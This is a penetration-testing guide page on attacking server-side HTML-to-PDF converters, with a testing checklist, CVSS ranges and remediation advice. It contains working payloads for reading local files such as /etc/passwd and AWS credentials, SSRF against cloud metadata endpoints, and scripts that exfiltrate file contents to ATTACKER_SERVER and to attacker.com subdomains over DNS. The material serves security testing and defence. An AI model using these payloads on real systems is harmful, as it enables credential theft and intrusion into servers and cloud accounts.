Last reviewed 5 min read

PDF Generation Attacks

Many web applications generate PDFs server-side using HTML-to-PDF converters (wkhtmltopdf, WeasyPrint, Puppeteer, Chrome headless, Prince). When user-controlled content is rendered into PDFs, attackers can exploit the converter for SSRF, local file reading, XSS execution, and information disclosure.

Information

PDF generators that use headless browsers (wkhtmltopdf, Puppeteer, Chrome) can execute JavaScript, make network requests, and access local files — making them particularly dangerous.

Confirm HTML/JS Injection

Establish the precondition before reaching for file-read or SSRF payloads: prove that user-controlled input actually reaches the renderer as HTML, and whether JavaScript executes. Only a confirmed injection point makes the techniques below relevant.

confirm-injection.html
# Step 1 — does markup render? Submit a formatting tag in a field that
# ends up in the PDF (name, address, note, comment):
<b>pentest-marker</b>

# Step 2 — does JavaScript execute? Submit a script that writes to output:
<script>document.write('XSS-CONFIRMED')</script>

# If the marker renders as bold text, input reaches the HTML parser.
# If "XSS-CONFIRMED" appears in the PDF (or your callback fires), JS is
# enabled — the renderer is now a viable SSRF/file-read primitive.
# Only then do the file-read, SSRF, and exfiltration payloads below apply.

Local File Read

pdf-local-file-read.html
# If user input is rendered in the PDF, inject HTML/JS to read local files:

# iframe method (works on wkhtmltopdf):
<iframe src="file:///etc/passwd" width="800" height="500"></iframe>

# embed method:
<embed src="file:///etc/passwd" type="text/plain" width="800" height="500">

# object method:
<object data="file:///etc/passwd" type="text/plain" width="800" height="500"></object>

# JavaScript XMLHttpRequest (if JS is enabled):
<script>
  var xhr = new XMLHttpRequest();
  xhr.open('GET', 'file:///etc/passwd', false);
  xhr.send();
  document.write('<pre>' + xhr.responseText + '</pre>');
</script>

# Note: the Fetch API rejects file:// URLs. Realistic local-file read
# depends on renderer configuration (e.g. wkhtmltopdf
# --enable-local-file-access) or a headless browser launched with local
# file access enabled.

# Read environment variables (Linux):
<iframe src="file:///proc/self/environ" width="800" height="500"></iframe>

# Read AWS credentials:
<iframe src="file:///home/app/.aws/credentials" width="800" height="500"></iframe>

SSRF via PDF Generation

pdf-ssrf.html
# Force the PDF generator to make HTTP requests to internal services:

# Image tag SSRF:
<img src="http://169.254.169.254/latest/meta-data/iam/security-credentials/">

# Link tag:
<link rel="stylesheet" href="http://169.254.169.254/latest/meta-data/">

# Azure IMDS requires the "Metadata: true" header and rejects requests that
# carry X-Forwarded-For — plain <img>/<link> tags cannot set headers:
# http://169.254.169.254/metadata/instance?api-version=2021-02-01

# JavaScript-based SSRF:
<script>
  var img = new Image();
  img.src = 'http://internal-api:8080/admin?data=' + 
    btoa(document.documentElement.innerHTML);
</script>

# Redirect chain:
<meta http-equiv="refresh" content="0;url=http://169.254.169.254/latest/meta-data/">

# CSS-based SSRF:
<style>
  @import url('http://169.254.169.254/latest/meta-data/');
  body { background: url('http://internal:8080/admin'); }
</style>

# SVG-based SSRF:
<svg xmlns="http://www.w3.org/2000/svg">
  <image href="http://169.254.169.254/latest/meta-data/" />
</svg>

Data Exfiltration

pdf-exfiltration.html
# If the PDF is returned to the attacker, data appears in the rendered PDF.
# If NOT, exfiltrate via outbound HTTP:

<script>
  // Read a local file and exfiltrate it:
  var xhr = new XMLHttpRequest();
  xhr.open('GET', 'file:///etc/passwd', false);
  xhr.send();
  var data = btoa(xhr.responseText);
  
  // Exfiltrate via image request:
  var img = new Image();
  img.src = 'http://ATTACKER_SERVER/exfil?data=' + data;
</script>

# DNS-based exfiltration (if HTTP is blocked) — base64 emits + / = which are
# invalid in DNS labels, so hex-encode the data instead:
<script>
  var data = Array.from('sensitive-data').map(function(c) {
    return c.charCodeAt(0).toString(16);
  }).join('');
  var img = new Image();
  img.src = 'http://' + data + '.attacker.com/x.png';
</script>

Testing Checklist

  • ☐ 1. Identify PDF generation features (invoices, reports, exports, receipts)
  • ☐ 2. Determine what user input appears in the PDF
  • ☐ 3. Test HTML injection by inserting <h1>test</h1> — does it render?
  • ☐ 4. Test JavaScript execution with <script>document.write('XSS')</script>
  • ☐ 5. Test file:// protocol for local file read
  • ☐ 6. Test SSRF via img, link, import, and script tags
  • ☐ 7. Test for cloud metadata access (169.254.169.254)
  • ☐ 8. Check PDF metadata for generator version information

Evidence Collection

Rendered PDF: PDF file showing injected content, file contents, or SSRF results

Request: The input that triggered the injection

CVSS Range: HTML injection: 4.3–6.1 | Local file read: 7.5–8.6 | SSRF to cloud metadata: 9.1

Remediation

  • • Sanitize HTML input: Strip all HTML tags or use allowlists for safe formatting tags only.
  • • Disable JavaScript: Configure the PDF generator to disable JS execution (wkhtmltopdf: --disable-javascript).
  • • Block file:// protocol: Disable local file access in the PDF renderer.
  • • Network isolation: Run PDF generation in a sandbox with no access to internal networks or cloud metadata.
  • • Use data-driven templates: Pass data to templates instead of allowing user-controlled HTML.

False Positive Identification

  • HTML rendering without SSRF: The PDF engine rendering HTML doesn't mean it can make external requests — verify with an external callback (webhook/Burp Collaborator) before classifying as SSRF.
  • Local file read blocked by sandbox: Some PDF engines sandbox file:// access — getting an error instead of file content means the sandbox is working.
  • CSS injection without impact: Injecting CSS that changes PDF appearance is cosmetic — focus on data exfiltration, SSRF, and file read capabilities.